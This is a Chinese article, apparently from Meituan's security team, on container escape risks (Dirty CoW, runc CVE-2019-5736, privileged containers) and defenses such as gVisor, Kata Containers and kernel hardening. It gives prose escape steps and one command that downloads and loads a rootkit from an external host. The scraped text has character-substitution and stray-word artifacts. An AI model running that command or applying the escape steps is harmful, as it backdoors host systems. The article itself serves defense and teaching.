概述
云原生（Cloud Native）是一套技术体系和方法论，它由2个词组成，云（Cloud）和原生（Native）。云（Cloud）表示应用程序位于云中，而不是传统的数据中心；原生（Native）表示应用程序从设计之初即考虑到云的环境，原生为云而设计，在云上以最佳状态运行，充分利用和发挥云平台的弹性和分布式优点。linux
云原生的表明技术包括容器、服务网格（Service Mesh）、微服务（Microservice）、不可变基础设施和声明式API。更多对于云原生的介绍请参考CNCF/Foundation。git
笔者将“云原生安全”抽象成如上图所示的技术沙盘。自底向上看，底层从硬件安全（可信环境）到宿主机安全 。将容器编排技术（Kubernetes等）看做云上的“操做系统”，它负责自动化部署、扩缩容、管理应用等。在它之上由微服务、Service Mesh、容器技术（Docker等）、容器镜像（仓库）组成。它们之间相辅相成，以这些技术为基础构建云原生安全。github
咱们再对容器安全作一层抽象，又能够看做构建时安全（Build）、部署时安全（Deployment）、运行时安全（Runtime）。docker
在美团内部，镜像安全由容器镜像分析平台保障。它以规则引擎的形式运营监管容器镜像，默认规则支持对镜像中Dockerfile、可疑文件、敏感权限、敏感端口、基础软件漏洞、业务软件漏洞以及CIS和NIST的最佳实践作检查，并提供风险趋势分析，同时它确保部分构建时安全。shell
容器在云原生架构下由容器编排技术（例如Kubernetes）负责部署，部署安全同时也与上文说起的容器编排安全有交集。segmentfault
运行安全管控交由HIDS负责（可参考《保障IDC安全：分布式HIDS集群架构设计》一文）。本文所讨论的范畴也属于运行安全之一，主要解决以容器逃逸为模型构建的风险（在本文中，若无特殊说明，容器指代Docker）。安全
对于安全实施准则，咱们将其分为三个阶段：bash
***前：裁剪***面，减小对外暴露的***面（本文涉及的场景关键词：隔离）；服务器
***时：下降***成功率（本文涉及的场景关键词：加固）；网络
***后：减小***成功后***者所能获取的有价值的信息、数据以及增长留后门的难度等。
近些年，数据中心的基础架构逐渐从传统的虚拟化（例如KVM+QEMU架构）转向容器化（Kubernetes+Docker架构），但“逃逸”始终都是企业要在这2种架构下所面对的最严峻的安全问题，同时它也是容器风险中最具表明性的安全问题。笔者将以容器逃逸为切入点，从***者角度（容器逃逸）到防护者角度（缓解容器逃逸）来阐述容器安全的实践，从而缓解容器风险。
容器风险
容器提供了将应用程序的代码、配置、依赖项打包到单个对象的标准方法。容器创建在两项关键技术之上：Linux Namespace和Linux Cgroups。
Namespace建立一个近乎隔离的用户空间，并为应用程序提供系统资源（文件系统、网络栈、进程和用户ID）。Cgroup强制限制硬件资源，如CPU、内存、设备和网络等。
容器和VM不一样之处在于，VM模拟硬件系统，每一个VM均可以在独立环境中运行OS。管理程序模拟CPU、内存、存储、网络资源等，这些硬件可由多个VM共享屡次。
容器一共有7个***面：Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。
笔者以容器逃逸为风险模型，提炼出3个***面：
Linux内核漏洞；
容器自身；
不安所有署（配置）。
1. Linux内核漏洞
容器的内核与宿主内核共享，使用Namespace与Cgroups这两项技术，使容器内的资源与宿主机隔离，因此Linux内核产生的漏洞能致使容器逃逸。
内核提权VS容器逃逸
通用Linux内核提权方法论
信息收集：收集一切对写exploit有帮助的信息。 如：内核版本，须要肯定***的内核是什么版本？ 这个内核版本开启了哪些加固配置？ 还需知道在写shellcode的时候会调用哪些内核函数？这时候就须要查询内核符号表，获得函数地址。 还可从内核中获得一些对编写利用有帮助的地址信息、结构信息等等。
触发阶段：触发相关漏洞，控制RIP，劫持内核代码路径，简而言之，获取在内核中任意执行代码的能力。
布置shellcode：在编写内核exploit代码的时候，须要找到一块内存来存放咱们的shellcode 。 这块内存至少得知足两个条件：
第一：在触发漏洞时，咱们要劫持代码路径，必须保证代码路径能够到达存放shellcode的内存。
第二：这块内存是能够被执行的，换句话说，存放shellcode的这块内存具备可执行权限。
执行阶段
第一：获取高于当前用户的权限，通常咱们都是直接获取root权限，毕竟它是Linux中的最高权限，也就是执行咱们的shellcode。
第二：保证内核稳定，不能由于咱们须要提权而破坏原来内核的代码路径、内核结构、内核数据等等，而致使内核崩溃。这样的话，即便获得root权限也没有太大的意义。
简而言之，收集对编写exploit有帮助的信息，而后触发漏洞去执行特权代码，达到提权的效果。
容器逃逸和内核提权只有细微的差异，须要突破namespace的限制。将高权限的namespace赋到exploit进程的task_struct中。这部分的详细技术细节不在本文讨论范围内，笔者将来会抽空再写一篇关于容器逃逸的技术文章，详细介绍该相关技术的细节。
经典的Dirty CoW
笔者以Dirty CoW漏洞来讲明Linux漏洞致使的容器逃逸。漏洞虽老，奈何太过经典。写到这，笔者不由想问：多年过去，目前国内外各大厂，Dirty Cow漏洞的存量机器修复率是多少？
在Linux内核的内存子系统处理私有只读内存映射的写时复制（Copy-on-Write，CoW）机制的方式中发现了一个竞争冲突。一个没有特权的本地用户，可能会利用此漏洞得到对其余状况下只读内存映射的写访问权限，从而增长他们在系统上的特权，这就是知名的Dirty CoW漏洞。
Dirty CoW漏洞的逃逸的实现思路和上述的思路不太同样，采起Overwrite vDSO技术。
vDSO（Virtual Dynamic Shared Object）是内核为了减小内核与用户空间频繁切换，提升系统调用效率而设计的机制。它同时映射在内核空间以及每个进程的虚拟内存中，包括那些以root权限运行的进程。经过调用那些不须要上下文切换（context switching）的系统调用能够加快这一步骤（定位vDSO）。vDSO在用户空间（userspace）映射为R/X，而在内核空间（kernelspace）则为R/W。这容许咱们在内核空间修改它，接着在用户空间执行。又由于容器与宿主机内核共享，因此能够直接使用这项技术逃逸容器。
利用步骤以下：
获取vDSO地址，在新版的glibc中能够直接调用getauxval()函数获取；
经过vDSO地址找到clock_gettime()函数地址，检查是否能够hijack；
建立监听socket；
触发漏洞，Dirty CoW是因为内核内存管理系统实现CoW时产生的漏洞。经过条件竞争，把握好在恰当的时机，利用CoW的特性能够将文件的read-only映射该为write。子进程不停地检查是否成功写入。父进程建立二个线程，ptrace_thread线程向vDSO写入shellcode。madvise_thread线程释放vDSO映射空间，影响ptrace_thread线程CoW的过程，产生条件竞争，当条件触发就能写入成功。
执行shellcode，等待从宿主机返回root shell，成功后恢复vDSO原始数据。
2. 容器自身
咱们先简单的看一下Docker的架构图：
Docker自己由Docker（Docker Client）和Dockerd（Docker Daemon）组成。但从Docker 1.11开始，Docker再也不是简单的经过Docker Dameon来启动，而是集成许多组件，包括containerd、runc等等。
Docker Client是Docker的客户端程序，用于将用户请求发送给Dockerd。Dockerd实际调用的是containerd的API接口，containerd是Dockerd和runc之间的一个中间交流组件，主要负责容器运行、镜像管理等。containerd向上为Dockerd提供了gRPC接口，使得Dockerd屏蔽下面的结构变化，确保原有接口向下兼容；向下，经过containerd-shim与runc结合建立及运行容器。更多的相关内容，请参考文末连接runc、containerd、architecture。了解清楚这些以后，咱们就能够结合自身的安全经验，从这些组件相互间的通讯方式、依赖关系等寻找能致使逃逸的漏洞。
下面咱们以Docker中的runc组件所产生的漏洞来讲明因容器自身的漏洞而致使的逃逸。
CVE-2019-5736：runc - container breakout vulnerability
runc在使用文件系统描述符时存在漏洞，该漏洞可致使特权容器被利用，形成容器逃逸以及访问宿主机文件系统；***者也可使用恶意镜像，或修改运行中的容器内的配置来利用此漏洞。
***方式1：（该途径须要特权容器）运行中的容器被***，系统文件被恶意篡改 ==> 宿主机运行docker exec命令，在该容器中建立新进程 ==> 宿主机runc被替换为恶意程序 ==> 宿主机执行docker run/exec 命令时触发执行恶意程序；
***方式2：（该途径无需特权容器）docker run命令启动了被恶意修改的镜像 ==> 宿主机runc被替换为恶意程序 ==> 宿主机运行docker run/exec命令时触发执行恶意程序。
当runc在容器内执行新的程序时，***者能够欺骗它执行恶意程序。经过使用自定义二进制文件替换容器内的目标二进制文件来实现指回runc二进制文件。
若是目标二进制文件是/bin/bash，能够用指定解释器的可执行脚本替换#!/proc/self/exe。所以，在容器内执行/bin/bash，/proc/self/exe的目标将被执行，将目标指向runc二进制文件。
而后***者能够继续写入/proc/self/exe目标，尝试覆盖主机上的runc二进制文件。这里须要使用O_PATH flag打开/proc/self/exe文件描述符，而后以O_WRONLY flag 经过/proc/self/fd/<nr>从新打开二进制文件，而且用单独的一个进程不停地写入。当写入成功时，runc会退出。
3. 不安所有署（配置）
在实际中，咱们常常会遇到这种情况：不一样的业务会根据自身业务需求提供一套本身的配置，而这套配置并未获得有效的管控审计，使得内部环境变得复杂多样，无形之中又增长了不少风险点。最多见的包括：
特权容器或者以root权限运行容器；
不合理的Capability配置（权限过大的Capability）。
面对特权容器，在容器内简单地执行一下命令，就能够轻松地在宿主机上留下后门：
$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko
目前在美团内部，咱们已经有效地收敛了特权容器问题。
这部分业界已经给出了最佳实践，从宿主机配置、Dockerd配置、容器镜像、Dockerfile、容器运行时等方面保障了安全，更多细节请参考Benchmark/Docker。同时Docker官方已经将其实现成自动化工具（gVisor）。
安全实践
为解决上述部分所阐述的容器逃逸问题，下文将重点从隔离（安全容器）与加固（安全内核）两个角度来进行讨论。
安全容器
安全容器的技术本质就是隔离。gVisor和Kata Container是比较具备表明性的实现方式，目前学术界也在探索基于Intel SGX的安全容器。
简单地说，gVisor是在用户态和内核态之间抽象出一层，封装成API，有点像user-mode kernel，以此实现隔离。Kata Container采用了轻量级的虚拟机隔离，与传统的VM比较相似，可是它实现了无缝集成当前的Kubernetes加Docker架构。咱们接着来看gVisor与Kata Container的异同。
Case 1: gVisor
gVisor是用Golang编写的用户态内核，或者说是沙箱技术，它主要实现了大部分的system call。它运行在应用程序和内核之间，为它们提供隔离。gVisor被使用在Google云计算平台的App Engine、Cloud Functions和Cloud ML中。gVisor运行时，是由多个沙箱组成，这些沙箱进程共同覆盖了一个或多个容器。经过拦截从应用程序到主机内核的全部系统调用，并使用用户空间中的Sentry处理它们，gVisor充当guest kernel的角色，且无需经过虚拟化硬件转换，能够将它看作vmm与guest kernel的集合，或是seccomp的加强版。
Case 2: Kata Container
Kata Container的Container Runtime是用hypervisor ，而后用hardware virtualization实现，如同虚拟机。因此每个像这样的Kata Container的Pod，都是一个轻量级虚拟机，它拥有完整的Linux内核。因此Kata Container与VM同样能提供强隔离性，但因为它的优化和性能设计，同时也拥有与容器相媲美的敏捷性。
Kata Container在主机上有一个kata-runtime来启动和配置新容器。对于Kata VM中的每一个容器，主机上都有相应的Kata Shim。 Kata Shim接收来自客户端的API请求（例如Docker或kubectl），并经过VSock将请求转发给Kata VM内的代理。 Kata容器进一步优化以减小VM启动时间。 使用QEMU的轻量级版本NEMU，删除了约80％的设备和包。 VM-Templating建立运行Kata VM实例的克隆，并与其余新建立的Kata VM共享，这样减小了启动时间和Guest VM内存消耗。 Hotplug功能容许VM使用最少的资源（例如CPU、内存、virtio块）进行引导，并在之后请求时添加其余资源。
gVisor VS Kata Container
在二者之间，笔者更愿选择gVisor，由于gVisor设计上比Kata Container更加的“轻”量级，但gVisor的性能问题始终是一道暂时没法逾越的“天堑”。综合两者的优劣，Kata Container目前更适合企业内部。整体而言，安全容器技术还需作诸多探索，以解决不一样企业内部基础架构上面临的各类挑战。
安全内核
众所周知，Android因为其开源特性，不一样厂商都维护着本身的Android版本。由于Android内核态代码来自于Linux kernel upstrem，当一个漏洞产生在upstrem内核，安全补丁推送到Google，再从Google下发到各大厂商，最终到终端用户。因为Android生态的碎片化，补丁周期很是之长，使得终端用户的安全，在这过程当中始终处于“空窗期”。当咱们把目光从新焦距在Linux上，它也一样存在相似的问题。
内核面临的问题
内核补丁
当一个安全漏洞被披露，一般是由漏洞发现者经过Redhat、OpenSuse、Debian等社区反馈或直接提交至上游相关子系统maintainer。在企业内部面临多个不一样内核大版本、内核定制化，针对不一样版本从上游代码backport相关补丁及制做相关热补丁，定制内核还需对补丁进行二次开发，再升级生产环境内核或Hotfix内核。不只修复周期过长，并且在修复过程当中，人员沟通也存在必定的成本，也拉长了漏洞危险期。在危险期间，咱们对于漏洞基本是毫无防御能力的。
内核版本碎片化
内核版本碎片化在任意具有必定规模的公司都是没法避免的问题。随着技术的突飞猛进，不断迭代，基础架构上的技术栈须要较新版本的内核功能去支持，长此以往就产生内核版本的碎片化。碎片化问题的存在，使得在安全补丁的推送方面，遭遇了很大的挑战。自己补丁还须要作针对性的适配，包括不一样版本的内核，并进行测试验证，碎片化使得维护成本也变得十分高昂。最重要的是，因为维护工做量大，必然拉长了测试补丁的时间线。也就是说，暴露在***者面前的危险期变得更长，被***的可能性也大大增长。
内核版本定制化
一样，因不一样公司的基础架构不一样、需求不一样，致使的定制化内核问题。对于定制化内核，没法简单的经过从上游内核合并补丁，还需对补丁作一些本地化来适配定制化内核。这又拉长了危险期。
解决之道
咱们使用安全特性去针对某一类漏洞或是针对某一类利用方式作防护与检测。好比SLAB_FREELIST_HARDENED，针对Double Free类型漏洞作实时检测，且防护overwrite freelist链表，性能损耗仅0.07%（参考upstrem内核源码，commit id: 2482ddec）。当完成全部所有的安全特性，漏洞在被反馈以前和漏洞补丁被及时推送至生产环境前，都无需关心漏洞的细节，就能防护。固然，安全补丁该打仍是得打，这里咱们主要解决在安全补丁最终落在生产环境过程当中，“空窗期”对于漏洞与利用毫无防护能力的问题，同时也能够对0day有必定的检测及防护能力。
实施策略
已经合并进Linux主线版本的安全特性，若是公司的内核支持该特性，选择开启配置，对开启先后内核作性能测试，分析安全特性原理、行业数据，给出Real World***案例（本身写exploit去证实），将报告结论反馈给内核团队。内核团队再作评估，结合安全团队与内核团队双方意见，最终评估落地。
已经合并进Linux主线版本但未被合并进Redhat的安全特性，可选择从Linux内核主线版本中移植，这点上代码质量上获得了保障，同时社区也作了性能测试，将其合并到公司的内核再作复测。
未被合并进Linux内核主线版本，从Grsecurity/PaX中作移植，在Grsecurity/PaX的诸多安全特性中，评估选择，选取代码改动少的，收益高的安全特性优先移植。好比改动较少的内核代码又能有效解决某一类的漏洞，再打个比方，Dirty Cow的全量修复可能须要花费1-2年的时间，若是加了某个安全特性，即便未修复也能防护。
内核后话
最后，分享一下笔者眼中较为理想中的情况。固然，咱们得根据实际状况“因地制宜”，在不一样阶段作出不一样的取舍与选择。
将内核团队当作社区，咱们向他们提交代码，如同Linux内核社区有RFC(Request for Comment)、Patch Review等，无争议后合并进公司内核。
先挑选实用的安全特性且代码量少的，去移植，去实现，并落地。代码量少意味着对内核代码改动少，出问题的可能性越小，稳定性越高，性能损耗越低。
一年完成几个安全特性，不须要多，1～2个便可，对于内核态的加固，慎重慎重再慎重，譬如国外G家公司数据中心的内核发版前大概须要6～7个月时间作性能、稳定性测试。
须要作到加固某个安全特性后，使用0day或Nday去验证防护效果，且基于该内核跑业务是稳定，性能损耗在可接受范围以内或者可控。每一个安全特性须要技术评审。为保障代码质量的问题，找实际的高吞吐以及高并发低延迟的服务器小范围灰度测试，无争议后，再推送给内核团队。
最后，咱们还能够经过将安全特性的代码直接提交给Linux内核社区，若是代码有不足的地方也能够和社区协同解决，合并进Linux内核主线代码，从而侧面推进落地。
做者简介
Pray3r，负责美团内部操做系统安全、云原生安全、重大高危漏洞应急响应，长期专一于Linux内核安全及开源软件安全。
参考文献
做者：美团技术团队 连接：https://segmentfault.com/a/1190000022004561 来源：SegmentFault 思否 著做权归做者全部。商业转载请联系做者得到受权，非商业转载请注明出处。